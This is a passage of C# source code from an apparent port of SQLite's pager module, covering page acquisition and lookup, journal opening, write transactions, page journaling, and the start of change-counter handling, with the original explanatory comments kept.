4 of these 16 bytes are\n                    ** a 32-bit counter that is incremented with each change.  The\n                    ** other bytes change randomly with each file change when\n                    ** a codec is in use.\n                    **\n                    ** There is a vanishingly small chance that a change will not be\n                    ** detected.  The chance of an undetected change is so small that\n                    ** it can be neglected.\n                    */\n                    byte[] dbFileVers = new byte[pPager.dbFileVers.Length];\n                    int idummy = 0;\n                    sqlite3PagerPagecount(pPager, ref idummy);\n\n                    if (pPager.errCode != 0)\n                    {\n                        rc = pPager.errCode;\n                        goto failed;\n                    }\n\n                    Debug.Assert(pPager.dbSizeValid);\n                    if (pPager.dbSize > 0)\n                    {\n                        IOTRACE(\"CKVERS %p %d\\n\", pPager, dbFileVers.Length);\n                        rc = sqlite3OsRead(pPager.fd, dbFileVers, dbFileVers.Length, 24);\n                        if (rc != SQLITE_OK)\n                        {\n                            goto failed;\n                        }\n                    }\n                    else\n                    {\n                        dbFileVers = new byte[dbFileVers.Length]; //memset(dbFileVers, 0, dbFileVers).Length;\n                    }\n\n                    // This loop is very short -- so only minor performance hit\n                    for (int i = 0; i < dbFileVers.Length; i++)             //if (memcmp(pPager.dbFileVers, dbFileVers, dbFileVers).Length != 0)\n                        if (pPager.dbFileVers[i] != dbFileVers[i])\n                        {\n                            pager_reset(pPager);\n                            break;\n                        }\n                }\n                Debug.Assert(pPager.exclusiveMode || pPager.state == PAGER_SHARED);\n            }\n\n        failed:\n            if (rc != SQLITE_OK)\n            {\n                /* pager_unlock() is a no-op for exclusive mode and in-memory databases. */\n                pager_unlock(pPager);\n            }\n            return rc;\n        }\n\n        /*\n        ** If the reference count has reached zero, rollback any active\n        ** transaction and unlock the pager.\n        **\n        ** Except, in locking_mode=EXCLUSIVE when there is nothing to in\n        ** the rollback journal, the unlock is not performed and there is\n        ** nothing to rollback, so this routine is a no-op.\n        */\n        static void pagerUnlockIfUnused(Pager pPager)\n        {\n            if ((sqlite3PcacheRefCount(pPager.pPCache) == 0)\n            && (!pPager.exclusiveMode || pPager.journalOff > 0))\n            {\n                pagerUnlockAndRollback(pPager);\n            }\n        }\n\n        /*\n        ** Acquire a reference to page number pgno in pager pPager (a page\n        ** reference has type DbPage*). If the requested reference is\n        ** successfully obtained, it is copied to *ppPage and SQLITE_OK returned.\n        **\n        ** If the requested page is already in the cache, it is returned.\n        ** Otherwise, a new page object is allocated and populated with data\n        ** read from the database file. In some cases, the pcache module may\n        ** choose not to allocate a new page object and may reuse an existing\n        ** object with no outstanding references.\n        **\n        ** The extra data appended to a page is always initialized to zeros the\n        ** first time a page is loaded into memory. If the page requested is\n        ** already in the cache when this function is called, then the extra\n        ** data is left as it was when the page object was last used.\n        **\n        ** If the database image is smaller than the requested page or if a\n        ** non-zero value is passed as the noContent parameter and the\n        ** requested page is not already stored in the cache, then no\n        ** actual disk read occurs. In this case the memory image of the\n        ** page is initialized to all zeros.\n        **\n        ** If noContent is true, it means that we do not care about the contents\n        ** of the page. This occurs in two seperate scenarios:\n        **\n        **   a) When reading a free-list leaf page from the database, and\n        **\n        **   b) When a savepoint is being rolled back and we need to load\n        **      a new page into the cache to populate with the data read\n        **      from the savepoint journal.\n        **\n        ** If noContent is true, then the data returned is zeroed instead of\n        ** being read from the database. Additionally, the bits corresponding\n        ** to pgno in Pager.pInJournal (bitvec of pages already written to the\n        ** journal file) and the PagerSavepoint.pInSavepoint bitvecs of any open\n        ** savepoints are set. This means if the page is made writable at any\n        ** point in the future, using a call to sqlite3PagerWrite(), its contents\n        ** will not be journaled. This saves IO.\n        **\n        ** The acquisition might fail for several reasons.  In all cases,\n        ** an appropriate error code is returned and *ppPage is set to NULL.\n        **\n        ** See also sqlite3PagerLookup().  Both this routine and Lookup() attempt\n        ** to find a page in the in-memory cache first.  If the page is not already\n        ** in memory, this routine goes to disk to read it in whereas Lookup()\n        ** just returns 0.  This routine acquires a read-lock the first time it\n        ** has to go to disk, and could also playback an old journal if necessary.\n        ** Since Lookup() never goes to disk, it never has to deal with locks\n        ** or journal files.\n        */\n\n        // Under C# from the header file\n        //#define sqlite3PagerGet(A,B,C) sqlite3PagerAcquire(A,B,C,0)\n\n        static int sqlite3PagerGet(\n        Pager pPager,       /* The pager open on the database file */\n        u32 pgno,          /* Page number to fetch */\n        ref DbPage ppPage   /* Write a pointer to the page here */\n        )\n        {\n            return sqlite3PagerAcquire(pPager, pgno, ref ppPage, 0);\n        }\n\n        static int sqlite3PagerAcquire(\n        Pager pPager,      /* The pager open on the database file */\n        u32 pgno,          /* Page number to fetch */\n        ref DbPage ppPage, /* Write a pointer to the page here */\n        u8 noContent     /* Do not bother reading content from disk if true */\n        )\n        {\n            int rc;\n            PgHdr pPg = null;\n\n            Debug.Assert(assert_pager_state(pPager));\n            Debug.Assert(pPager.state > PAGER_UNLOCK);\n            if (pgno == 0)\n            {\n#if SQLITE_DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\n                return SQLITE_CORRUPT_BKPT;\n#endif\n            }\n\n            /* If the pager is in the error state, return an error immediately. \n            ** Otherwise, request the page from the PCache layer. */\n            if (pPager.errCode != SQLITE_OK && pPager.errCode != SQLITE_FULL)\n            {\n                rc = pPager.errCode;\n            }\n            else\n            {\n                rc = sqlite3PcacheFetch(pPager.pPCache, pgno, 1, ref ppPage);\n            }\n\n            if (rc != SQLITE_OK)\n            {\n                /* Either the call to sqlite3PcacheFetch() returned an error or the\n                ** pager was already in the error-state when this function was called.\n                ** Set pPg to 0 and jump to the exception handler.  */\n                pPg = null;\n                goto pager_acquire_err;\n            }\n            Debug.Assert((ppPage).pgno == pgno);\n            Debug.Assert((ppPage).pPager == pPager || (ppPage).pPager == null);\n\n            if ((ppPage).pPager != null)\n            {\n                /* In this case the pcache already contains an initialized copy of\n                ** the page. Return without further ado.  */\n                Debug.Assert(pgno <= PAGER_MAX_PGNO && pgno != PAGER_MJ_PGNO(pPager));\n                PAGER_INCR(ref pPager.nHit);\n                return SQLITE_OK;\n\n            }\n            else\n            {\n                /* The pager cache has created a new page. Its content needs to \n                ** be initialized.  */\n                int nMax = 0;\n#if SQLITE_TEST\n    PAGER_INCR( ref pPager.nMiss );\n#endif\n                pPg = ppPage;\n                pPg.pPager = pPager;\n                pPg.pExtra = new MemPage();//memset(pPg.pExtra, 0, pPager.nExtra);\n\n                /* The maximum page number is 2^31. Return SQLITE_CORRUPT if a page\n                ** number greater than this, or the unused locking-page, is requested. */\n                if (pgno > PAGER_MAX_PGNO || pgno == PAGER_MJ_PGNO(pPager))\n                {\n#if SQLITE_DEBUG\n      rc = SQLITE_CORRUPT_BKPT();\n#else\n                    rc = SQLITE_CORRUPT_BKPT;\n#endif\n                    goto pager_acquire_err;\n                }\n                rc = sqlite3PagerPagecount(pPager, ref nMax);\n                if (rc != SQLITE_OK)\n                {\n                    goto pager_acquire_err;\n                }\n\n                if (nMax < (int)pgno ||\n#if SQLITE_OMIT_MEMORYDB\n1==MEMDB\n#else\n pPager.memDb != 0\n#endif\n || noContent != 0)\n                {\n                    if (pgno > pPager.mxPgno)\n                    {\n                        rc = SQLITE_FULL;\n                        goto pager_acquire_err;\n                    }\n                    if (noContent != 0)\n                    {\n                        /* Failure to set the bits in the InJournal bit-vectors is benign.\n                        ** It merely means that we might do some extra work to journal a\n                        ** page that does not need to be journaled.  Nevertheless, be sure\n                        ** to test the case where a malloc error occurs while trying to set\n                        ** a bit in a bit vector.\n                        */\n                        sqlite3BeginBenignMalloc();\n                        if (pgno <= pPager.dbOrigSize)\n                        {\n#if !NDEBUG || SQLITE_COVERAGE_TEST\n          rc = sqlite3BitvecSet( pPager.pInJournal, pgno );          //TESTONLY( rc = ) sqlite3BitvecSet(pPager.pInJournal, pgno);\n#else\n                            sqlite3BitvecSet(pPager.pInJournal, pgno);\n#endif\n                            testcase(rc == SQLITE_NOMEM);\n                        }\n#if !NDEBUG || SQLITE_COVERAGE_TEST\n            rc = addToSavepointBitvecs( pPager, pgno ); //TESTONLY( rc = ) addToSavepointBitvecs(pPager, pgno);\n#else\n                        addToSavepointBitvecs(pPager, pgno);\n#endif\n\n                        testcase(rc == SQLITE_NOMEM);\n                        sqlite3EndBenignMalloc();\n                    }\n                    else\n                    {\n                        //memset(pPg->pData, 0, pPager.pageSize);\n                        Array.Clear(pPg.pData, 0, pPager.pageSize);\n                    }\n                    IOTRACE(\"ZERO %p %d\\n\", pPager, pgno);\n                }\n                else\n                {\n                    Debug.Assert(pPg.pPager == pPager);\n                    rc = readDbPage(pPg);\n                    if (rc != SQLITE_OK)\n                    {\n                        goto pager_acquire_err;\n                    }\n                }\n\n#if SQLITE_CHECK_PAGES\npPg.pageHash = pager_pagehash(pPg);\n#endif\n            }\n            return SQLITE_OK;\n\n        pager_acquire_err:\n            Debug.Assert(rc != SQLITE_OK);\n            if (pPg != null)\n            {\n                sqlite3PcacheDrop(pPg);\n            }\n            pagerUnlockIfUnused(pPager);\n\n            ppPage = null;\n            return rc;\n        }\n\n        /*\n        ** Acquire a page if it is already in the in-memory cache.  Do\n        ** not read the page from disk.  Return a pointer to the page,\n        ** or 0 if the page is not in cache. Also, return 0 if the\n        ** pager is in PAGER_UNLOCK state when this function is called,\n        ** or if the pager is in an error state other than SQLITE_FULL.\n        **\n        ** See also sqlite3PagerGet().  The difference between this routine\n        ** and sqlite3PagerGet() is that _get() will go to the disk and read\n        ** in the page if the page is not already in cache.  This routine\n        ** returns NULL if the page is not in cache or if a disk I/O error\n        ** has ever happened.\n        */\n        static DbPage sqlite3PagerLookup(Pager pPager, u32 pgno)\n        {\n            PgHdr pPg = null;\n\n            Debug.Assert(pPager != null);\n            Debug.Assert(pgno != 0);\n            Debug.Assert(pPager.pPCache != null);\n            Debug.Assert(pPager.state > PAGER_UNLOCK);\n            sqlite3PcacheFetch(pPager.pPCache, pgno, 0, ref pPg);\n\n            return pPg;\n        }\n\n        /*\n        ** Release a page reference.\n        **\n        ** If the number of references to the page drop to zero, then the\n        ** page is added to the LRU list.  When all references to all pages\n        ** are released, a rollback occurs and the lock on the database is\n        ** removed.\n        */\n        static void sqlite3PagerUnref(DbPage pPg)\n        {\n            if (pPg != null)\n            {\n                Pager pPager = pPg.pPager;\n                sqlite3PcacheRelease(pPg);\n                pagerUnlockIfUnused(pPager);\n            }\n        }\n\n        /*\n        ** If the main journal file has already been opened, ensure that the\n        ** sub-journal file is open too. If the main journal is not open,\n        ** this function is a no-op.\n        **\n        ** SQLITE_OK is returned if everything goes according to plan.\n        ** An SQLITE_IOERR_XXX error code is returned if a call to\n        ** sqlite3OsOpen() fails.\n        */\n        static int openSubJournal(Pager pPager)\n        {\n            int rc = SQLITE_OK;\n            if (isOpen(pPager.jfd) && !isOpen(pPager.sjfd))\n            {\n                if (pPager.journalMode == PAGER_JOURNALMODE_MEMORY || pPager.subjInMemory != 0)\n                {\n                    sqlite3MemJournalOpen(pPager.sjfd);\n                }\n                else\n                {\n                    rc = pagerOpentemp(pPager, ref pPager.sjfd, SQLITE_OPEN_SUBJOURNAL);\n                }\n            }\n            return rc;\n        }\n\n        /*\n        ** This function is called at the start of every write transaction.\n        ** There must already be a RESERVED or EXCLUSIVE lock on the database\n        ** file when this routine is called.\n        **\n        ** Open the journal file for pager pPager and write a journal header\n        ** to the start of it. If there are active savepoints, open the sub-journal\n        ** as well. This function is only used when the journal file is being\n        ** opened to write a rollback log for a transaction. It is not used\n        ** when opening a hot journal file to roll it back.\n        **\n        ** If the journal file is already open (as it may be in exclusive mode),\n        ** then this function just writes a journal header to the start of the\n        ** already open file.\n        **\n        ** Whether or not the journal file is opened by this function, the\n        ** Pager.pInJournal bitvec structure is allocated.\n        **\n        ** Return SQLITE_OK if everything is successful. Otherwise, return\n        ** SQLITE_NOMEM if the attempt to allocate Pager.pInJournal fails, or\n        ** an IO error code if opening or writing the journal file fails.\n        */\n        static int pager_open_journal(Pager pPager)\n        {\n            int rc = SQLITE_OK;                        /* Return code */\n            sqlite3_vfs pVfs = pPager.pVfs;            /* Local cache of vfs pointer */\n\n            Debug.Assert(pPager.state >= PAGER_RESERVED);\n            Debug.Assert(pPager.useJournal != 0);\n            Debug.Assert(pPager.pInJournal == null);\n            Debug.Assert(pPager.journalMode != PAGER_JOURNALMODE_OFF);\n\n            /* If already in the error state, this function is a no-op.  But on\n            ** the other hand, this routine is never called if we are already in\n            ** an error state. */\n            if (NEVER(pPager.errCode) != 0) return pPager.errCode;\n\n            /* TODO: Is it really possible to get here with dbSizeValid==0? If not,\n            ** the call to PagerPagecount() can be removed.\n            */\n            testcase(pPager.dbSizeValid == false);\n            int idummy = 0; sqlite3PagerPagecount(pPager, ref idummy);\n\n            pPager.pInJournal = sqlite3BitvecCreate(pPager.dbSize);// sqlite3MallocZero(pPager.dbSize / 8 + 1);\n            if (pPager.pInJournal == null)\n            {\n                return SQLITE_NOMEM;\n            }\n\n            /* Open the journal file if it is not already open. */\n            if (!isOpen(pPager.jfd))\n            {\n                if (pPager.journalMode == PAGER_JOURNALMODE_MEMORY)\n                {\n                    sqlite3MemJournalOpen(pPager.jfd);\n                }\n                else\n                {\n                    int flags =                   /* VFS flags to open journal file */\n                    SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE |\n                    (pPager.tempFile ?\n                    (SQLITE_OPEN_DELETEONCLOSE | SQLITE_OPEN_TEMP_JOURNAL) :\n                    (SQLITE_OPEN_MAIN_JOURNAL)\n                    );\n#if SQLITE_ENABLE_ATOMIC_WRITE\nrc = sqlite3JournalOpen(\npVfs, pPager.zJournal, pPager.jfd, flags, jrnlBufferSize(pPager)\n);\n#else\n                    int int0 = 0;\n                    rc = sqlite3OsOpen(pVfs, pPager.zJournal, pPager.jfd, flags, ref int0);\n#endif\n                }\n                Debug.Assert(rc != SQLITE_OK || isOpen(pPager.jfd));\n            }\n\n            /* Write the first journal header to the journal file and open\n            ** the sub-journal if necessary.\n            */\n            if (rc == SQLITE_OK)\n            {\n                /* TODO: Check if all of these are really required. */\n                pPager.dbOrigSize = pPager.dbSize;\n                pPager.journalStarted = false;\n                pPager.needSync = false;\n                pPager.nRec = 0;\n                pPager.journalOff = 0;\n                pPager.setMaster = 0;\n                pPager.journalHdr = 0;\n                rc = writeJournalHdr(pPager);\n            }\n            if (rc == SQLITE_OK && pPager.nSavepoint != 0)\n            {\n                rc = openSubJournal(pPager);\n            }\n\n            if (rc != SQLITE_OK)\n            {\n                sqlite3BitvecDestroy(ref pPager.pInJournal);\n                pPager.pInJournal = null;\n            }\n            return rc;\n        }\n\n        /*\n        ** Begin a write-transaction on the specified pager object. If a\n        ** write-transaction has already been opened, this function is a no-op.\n        **\n        ** If the exFlag argument is false, then acquire at least a RESERVED\n        ** lock on the database file. If exFlag is true, then acquire at least\n        ** an EXCLUSIVE lock. If such a lock is already held, no locking\n        ** functions need be called.\n        **\n        ** If this is not a temporary or in-memory file and, the journal file is\n        ** opened if it has not been already. For a temporary file, the opening\n        ** of the journal file is deferred until there is an actual need to\n        ** write to the journal. TODO: Why handle temporary files differently?\n        **\n        ** If the journal file is opened (or if it is already open), then a\n        ** journal-header is written to the start of it.\n        **\n        ** If the subjInMemory argument is non-zero, then any sub-journal opened\n        ** within this transaction will be opened as an in-memory file. This\n        ** has no effect if the sub-journal is already opened (as it may be when\n        ** running in exclusive mode) or if the transaction does not require a\n        ** sub-journal. If the subjInMemory argument is zero, then any required\n        ** sub-journal is implemented in-memory if pPager is an in-memory database,\n        ** or using a temporary file otherwise.\n        */\n        static int sqlite3PagerBegin(Pager pPager, bool exFlag, int subjInMemory)\n        {\n            int rc = SQLITE_OK;\n            Debug.Assert(pPager.state != PAGER_UNLOCK);\n            pPager.subjInMemory = (u8)subjInMemory;\n            if (pPager.state == PAGER_SHARED)\n            {\n                Debug.Assert(pPager.pInJournal == null);\n#if SQLITE_OMIT_MEMORYDB\nDebug.Assert( 0==MEMDB && !pPager.tempFile );\n#endif\n                /* Obtain a RESERVED lock on the database file. If the exFlag parameter\n        ** is true, then immediately upgrade this to an EXCLUSIVE lock. The\n        ** busy-handler callback can be used when upgrading to the EXCLUSIVE\n        ** lock, but not when obtaining the RESERVED lock.\n        */\n                rc = sqlite3OsLock(pPager.fd, RESERVED_LOCK);\n                if (rc == SQLITE_OK)\n                {\n                    pPager.state = PAGER_RESERVED;\n                    if (exFlag)\n                    {\n                        rc = pager_wait_on_lock(pPager, EXCLUSIVE_LOCK);\n                    }\n                }\n\n                /* If the required locks were successfully obtained, open the journal\n                ** file and write the first journal-header to it.\n                */\n                if (rc == SQLITE_OK && pPager.journalMode != PAGER_JOURNALMODE_OFF)\n                {\n                    rc = pager_open_journal(pPager);\n                }\n            }\n            else if (isOpen(pPager.jfd) && pPager.journalOff == 0)\n            {\n                /* This happens when the pager was in exclusive-access mode the last\n                ** time a (read or write) transaction was successfully concluded\n                ** by this connection. Instead of deleting the journal file it was\n                ** kept open and either was truncated to 0 bytes or its header was\n                ** overwritten with zeros.\n                */\n                Debug.Assert(pPager.nRec == 0);\n                Debug.Assert(pPager.dbOrigSize == 0);\n                Debug.Assert(pPager.pInJournal == null);\n                rc = pager_open_journal(pPager);\n            }\n            PAGERTRACE(\"TRANSACTION %d\\n\", PAGERID(pPager));\n            Debug.Assert(!isOpen(pPager.jfd) || pPager.journalOff > 0 || rc != SQLITE_OK);\n            if (rc != SQLITE_OK)\n            {\n                Debug.Assert(!pPager.dbModified);\n                /* Ignore any IO error that occurs within pager_end_transaction(). The\n                ** purpose of this call is to reset the internal state of the pager\n                ** sub-system. It doesn't matter if the journal-file is not properly\n                ** finalized at this point (since it is not a valid journal file anyway).\n                */\n                pager_end_transaction(pPager, 0);\n            }\n            return rc;\n        }\n\n        /*\n        ** Mark a single data page as writeable. The page is written into the\n        ** main journal or sub-journal as required. If the page is written into\n        ** one of the journals, the corresponding bit is set in the\n        ** Pager.pInJournal bitvec and the PagerSavepoint.pInSavepoint bitvecs\n        ** of any open savepoints as appropriate.\n        */\n        static int pager_write(PgHdr pPg)\n        {\n            byte[] pData = pPg.pData;\n            Pager pPager = pPg.pPager;\n            int rc = SQLITE_OK;\n\n            /* This routine is not called unless a transaction has already been\n            ** started.\n            */\n            Debug.Assert(pPager.state >= PAGER_RESERVED);\n\n            /* If an error has been previously detected, we should not be\n            ** calling this routine.  Repeat the error for robustness.\n            */\n            if (NEVER(pPager.errCode) != 0) return pPager.errCode;\n\n            /* Higher-level routines never call this function if database is not\n            ** writable.  But check anyway, just for robustness. */\n            if (NEVER(pPager.readOnly)) return SQLITE_PERM;\n            Debug.Assert(0 == pPager.setMaster);\n\n#if SQLITE_CHECK_PAGES\nCHECK_PAGE(pPg);\n#endif\n            /* Mark the page as dirty.  If the page has already been written\n      ** to the journal then we can return right away.\n      */\n            sqlite3PcacheMakeDirty(pPg);\n            if (pageInJournal(pPg) && !subjRequiresPage(pPg))\n            {\n                pPager.dbModified = true;\n            }\n            else\n            {\n\n                /* If we get this far, it means that the page needs to be\n                ** written to the transaction journal or the ckeckpoint journal\n                ** or both.\n                **\n                ** Higher level routines should have already started a transaction,\n                ** which means they have acquired the necessary locks and opened\n                ** a rollback journal.  Double-check to makes sure this is the case.\n                */\n                rc = sqlite3PagerBegin(pPager, false, pPager.subjInMemory);\n                if (NEVER(rc != SQLITE_OK))\n                {\n                    return rc;\n                }\n                if (!isOpen(pPager.jfd) && pPager.journalMode != PAGER_JOURNALMODE_OFF)\n                {\n                    Debug.Assert(pPager.useJournal != 0);\n                    rc = pager_open_journal(pPager);\n                    if (rc != SQLITE_OK) return rc;\n                }\n                pPager.dbModified = true;\n\n                /* The transaction journal now exists and we have a RESERVED or an\n                ** EXCLUSIVE lock on the main database file.  Write the current page to\n                ** the transaction journal if it is not there already.\n                */\n                if (!pageInJournal(pPg) && isOpen(pPager.jfd))\n                {\n                    if (pPg.pgno <= pPager.dbOrigSize)\n                    {\n                        u32 cksum;\n                        byte[] pData2 = null;\n\n                        /* We should never write to the journal file the page that\n                        ** contains the database locks.  The following Debug.Assert verifies\n                        ** that we do not. */\n                        Debug.Assert(pPg.pgno != ((PENDING_BYTE / (pPager.pageSize)) + 1));//PAGER_MJ_PGNO(pPager) );\n                        CODEC2(pPager, pData, pPg.pgno, 7, SQLITE_NOMEM, ref pData2);//        CODEC2(pPager, pData, pPg->pgno, 7, return SQLITE_NOMEM, pData2);\n                        cksum = pager_cksum(pPager, pData2);\n                        rc = write32bits(pPager.jfd, pPager.journalOff, (u32)pPg.pgno);\n                        if (rc == SQLITE_OK)\n                        {\n                            rc = sqlite3OsWrite(pPager.jfd, pData2, pPager.pageSize,\n                            pPager.journalOff + 4);\n                            pPager.journalOff += pPager.pageSize + 4;\n                        }\n                        if (rc == SQLITE_OK)\n                        {\n                            rc = write32bits(pPager.jfd, pPager.journalOff, (u32)cksum);\n                            pPager.journalOff += 4;\n                        }\n                        IOTRACE(\"JOUT %p %d %lld %d\\n\", pPager, pPg.pgno,\n                        pPager.journalOff, pPager.pageSize);\n#if SQLITE_TEST\n            int iValue;\n            iValue = sqlite3_pager_writej_count.iValue;\n            PAGER_INCR( ref  iValue );\n            sqlite3_pager_writej_count.iValue = iValue;\n#endif\n                        PAGERTRACE(\"JOURNAL %d page %d needSync=%d hash(%08x)\\n\",\n                        PAGERID(pPager), pPg.pgno,\n                        ((pPg.flags & PGHDR_NEED_SYNC) != 0 ? 1 : 0), pager_pagehash(pPg));\n                        /* Even if an IO or diskfull error occurred while journalling the\n                        ** page in the block above, set the need-sync flag for the page.\n                        ** Otherwise, when the transaction is rolled back, the logic in\n                        ** playback_one_page() will think that the page needs to be restored\n                        ** in the database file. And if an IO error occurs while doing so,\n                        ** then corruption may follow.\n                        */\n                        if (!pPager.noSync)\n                        {\n                            pPg.flags |= PGHDR_NEED_SYNC;\n                            pPager.needSync = true;\n                        }\n\n                        /* An error has occurred writing to the journal file. The\n                        ** transaction will be rolled back by the layer above.\n                        */\n                        if (rc != SQLITE_OK)\n                        {\n                            return rc;\n                        }\n\n                        pPager.nRec++;\n                        Debug.Assert(pPager.pInJournal != null);\n                        rc = sqlite3BitvecSet(pPager.pInJournal, pPg.pgno);\n                        testcase(rc == SQLITE_NOMEM);\n                        Debug.Assert(rc == SQLITE_OK || rc == SQLITE_NOMEM);\n                        rc |= addToSavepointBitvecs(pPager, pPg.pgno);\n                        if (rc != SQLITE_OK)\n                        {\n                            Debug.Assert(rc == SQLITE_NOMEM);\n                            return rc;\n                        }\n                    }\n                    else\n                    {\n                        if (!pPager.journalStarted && !pPager.noSync)\n                        {\n                            pPg.flags |= PGHDR_NEED_SYNC;\n                            pPager.needSync = true;\n                        }\n                        PAGERTRACE(\"APPEND %d page %d needSync=%d\\n\",\n                        PAGERID(pPager), pPg.pgno,\n                        ((pPg.flags & PGHDR_NEED_SYNC) != 0 ? 1 : 0));\n                    }\n                }\n\n                /* If the statement journal is open and the page is not in it,\n                ** then write the current page to the statement journal.  Note that\n                ** the statement journal format differs from the standard journal format\n                ** in that it omits the checksums and the header.\n                */\n                if (subjRequiresPage(pPg))\n                {\n                    rc = subjournalPage(pPg);\n                }\n            }\n\n            /* Update the database size and return.\n            */\n            Debug.Assert(pPager.state >= PAGER_SHARED);\n            if (pPager.dbSize < (int)pPg.pgno)\n            {\n                pPager.dbSize = pPg.pgno;\n            }\n            return rc;\n        }\n\n        /*\n        ** Mark a data page as writeable. This routine must be called before\n        ** making changes to a page. The caller must check the return value\n        ** of this function and be careful not to change any page data unless\n        ** this routine returns SQLITE_OK.\n        **\n        ** The difference between this function and pager_write() is that this\n        ** function also deals with the special case where 2 or more pages\n        ** fit on a single disk sector. In this case all co-resident pages\n        ** must have been written to the journal file before returning.\n        **\n        ** If an error occurs, SQLITE_NOMEM or an IO error code is returned\n        ** as appropriate. Otherwise, SQLITE_OK.\n        */\n        static int sqlite3PagerWrite(DbPage pDbPage)\n        {\n            int rc = SQLITE_OK;\n\n            PgHdr pPg = pDbPage;\n            Pager pPager = pPg.pPager;\n            u32 nPagePerSector = (u32)(pPager.sectorSize / pPager.pageSize);\n\n            if (nPagePerSector > 1)\n            {\n                int nPageCount = 0;      /* Total number of pages in database file */\n                u32 pg1;                 /* First page of the sector pPg is located on. */\n                u32 nPage;               /* Number of pages starting at pg1 to journal */\n                int ii;                  /* Loop counter */\n                bool needSync = false;   /* True if any page has PGHDR_NEED_SYNC */\n\n                /* Set the doNotSync flag to 1. This is because we cannot allow a journal\n                ** header to be written between the pages journaled by this function.\n                */\n                Debug.Assert(\n#if SQLITE_OMIT_MEMORYDB\n0==MEMDB\n#else\n 0 == pPager.memDb\n#endif\n );\n                Debug.Assert(!pPager.doNotSync);\n                pPager.doNotSync = true;\n\n                /* This trick assumes that both the page-size and sector-size are\n                ** an integer power of 2. It sets variable pg1 to the identifier\n                ** of the first page of the sector pPg is located on.\n                */\n                pg1 = (u32)((pPg.pgno - 1) & ~(nPagePerSector - 1)) + 1;\n\n                sqlite3PagerPagecount(pPager, ref nPageCount);\n                if (pPg.pgno > nPageCount)\n                {\n                    nPage = (u32)(pPg.pgno - pg1) + 1;\n                }\n                else if ((pg1 + nPagePerSector - 1) > nPageCount)\n                {\n                    nPage = (u32)(nPageCount + 1 - pg1);\n                }\n                else\n                {\n                    nPage = nPagePerSector;\n                }\n                Debug.Assert(nPage > 0);\n                Debug.Assert(pg1 <= pPg.pgno);\n                Debug.Assert((pg1 + nPage) > pPg.pgno);\n\n                for (ii = 0; ii < nPage && rc == SQLITE_OK; ii++)\n                {\n                    u32 pg = (u32)(pg1 + ii);\n                    PgHdr pPage = new PgHdr();\n                    if (pg == pPg.pgno || sqlite3BitvecTest(pPager.pInJournal, pg) == 0)\n                    {\n                        if (pg != ((PENDING_BYTE / (pPager.pageSize)) + 1)) //PAGER_MJ_PGNO(pPager))\n                        {\n                            rc = sqlite3PagerGet(pPager, pg, ref pPage);\n                            if (rc == SQLITE_OK)\n                            {\n                                rc = pager_write(pPage);\n                                if ((pPage.flags & PGHDR_NEED_SYNC) != 0)\n                                {\n                                    needSync = true;\n                                    Debug.Assert(pPager.needSync);\n\n                                }\n                                sqlite3PagerUnref(pPage);\n                            }\n                        }\n                    }\n                    else if ((pPage = pager_lookup(pPager, pg)) != null)\n                    {\n                        if ((pPage.flags & PGHDR_NEED_SYNC) != 0)\n                        {\n                            needSync = true;\n                        }\n                        sqlite3PagerUnref(pPage);\n                    }\n                }\n\n                /* If the PGHDR_NEED_SYNC flag is set for any of the nPage pages\n                ** starting at pg1, then it needs to be set for all of them. Because\n                ** writing to any of these nPage pages may damage the others, the\n                ** journal file must contain sync()ed copies of all of them\n                ** before any of them can be written out to the database file.\n                */\n                if (rc == SQLITE_OK && needSync)\n                {\n                    Debug.Assert(\n#if SQLITE_OMIT_MEMORYDB\n0==MEMDB\n#else\n 0 == pPager.memDb\n#endif\n && pPager.noSync == false);\n                    for (ii = 0; ii < nPage; ii++)\n                    {\n                        PgHdr pPage = pager_lookup(pPager, (u32)(pg1 + ii));\n                        if (pPage != null)\n                        {\n                            pPage.flags |= PGHDR_NEED_SYNC;\n                            sqlite3PagerUnref(pPage);\n                        }\n                    }\n                    Debug.Assert(pPager.needSync);\n                }\n\n                Debug.Assert(pPager.doNotSync);\n                pPager.doNotSync = false;\n            }\n            else\n            {\n                rc = pager_write(pDbPage);\n            }\n            return rc;\n        }\n\n        /*\n        ** Return TRUE if the page given in the argument was previously passed\n        ** to sqlite3PagerWrite().  In other words, return TRUE if it is ok\n        ** to change the content of the page.\n        */\n#if !NDEBUG\n    static bool sqlite3PagerIswriteable( DbPage pPg )\n    {\n      return ( pPg.flags & PGHDR_DIRTY ) != 0;\n    }\n#else\n        static bool sqlite3PagerIswriteable(DbPage pPg) { return true; }\n#endif\n\n        /*\n    ** A call to this routine tells the pager that it is not necessary to\n    ** write the information on page pPg back to the disk, even though\n    ** that page might be marked as dirty.  This happens, for example, when\n    ** the page has been added as a leaf of the freelist and so its\n    ** content no longer matters.\n    **\n    ** The overlying software layer calls this routine when all of the data\n    ** on the given page is unused. The pager marks the page as clean so\n    ** that it does not get written to disk.\n    **\n    ** Tests show that this optimization can quadruple the speed of large\n    ** DELETE operations.\n    */\n        static void sqlite3PagerDontWrite(PgHdr pPg)\n        {\n            Pager pPager = pPg.pPager;\n\n            if ((pPg.flags & PGHDR_DIRTY) != 0 && pPager.nSavepoint == 0)\n            {\n                PAGERTRACE(\"DONT_WRITE page %d of %d\\n\", pPg.pgno, PAGERID(pPager));\n                IOTRACE(\"CLEAN %p %d\\n\", pPager, pPg.pgno);\n                pPg.flags |= PGHDR_DONT_WRITE;\n#if SQLITE_CHECK_PAGES\npPg.pageHash = pager_pagehash(pPg);\n#endif\n            }\n        }\n\n        /*\n        ** This routine is called to increment the value of the database file\n        ** change-counter, stored as a 4-byte big-endian integer starting at\n        ** byte offset 24 of the pager file.\n        **\n        ** If the isDirectMode flag is zero, then this is done by calling\n        ** sqlite3PagerWrite() on page 1, then modifying the contents of the\n        ** page data. In this case the file will be updated when the current\n        ** transaction is committed.\n        **\n        ** The isDirectMode flag may only be non-zero if the library was compiled\n        ** with the SQLITE_ENABLE_ATOMIC_WRITE macro defined. In this case,\n        ** if isDirect is non-zero, then the database file is updated directly\n        ** by writing an updated version of page 1 using a call to the\n        ** sqlite3OsWrite() function.\n        */\n        static int pager_incr_changecounter(Pager pPager, bool isDirectMode)\n        {\n            int rc = SQLITE_OK;\n\n            /* Declare and initialize constant integer 'isDirect'. If the\n            ** atomic-write optimization is enabled in this build, then isDirect\n            ** is initialized to the value passed as the isDirectMode parameter\n            ** to this function. Otherwise, it is always set to zero.\n            **\n            ** The idea is that if the atomic-write optimization is not\n            ** enabled at compile time, the compiler can omit the tests of\n            ** 'isDirect' below, as well as the block enclosed in the\n            ** \"if( isDirect 